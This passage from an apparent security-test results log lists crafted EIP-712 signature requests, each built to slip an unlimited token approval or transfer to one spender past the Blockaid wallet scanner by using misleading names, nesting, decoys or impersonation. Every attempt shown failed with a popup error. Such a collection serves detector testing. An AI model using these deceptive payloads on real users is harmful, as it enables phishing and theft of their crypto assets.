Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:48:25.365Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:48:34.922Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:48:44.478Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:48:54.034Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:49:03.590Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN52-EIP3009-022", "timestamp": "2026-01-31T18:49:13.145Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3bece416961d44a67c2429b2bde386149507e4cb9a657a51b2fe5d752b7c6152\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN52-EIP3009-054", "timestamp": "2026-01-31T18:49:22.702Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x978cd46f5ae93d07d33874947beda3eebedd70befdf7addb099a7d6161fa0a12\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:49:32.253Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:49:41.815Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:49:51.370Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:50:00.929Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:50:10.492Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:50:20.054Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:50:29.616Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:50:39.166Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:50:48.712Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:50:58.270Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:51:07.833Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:51:17.389Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:51:26.951Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 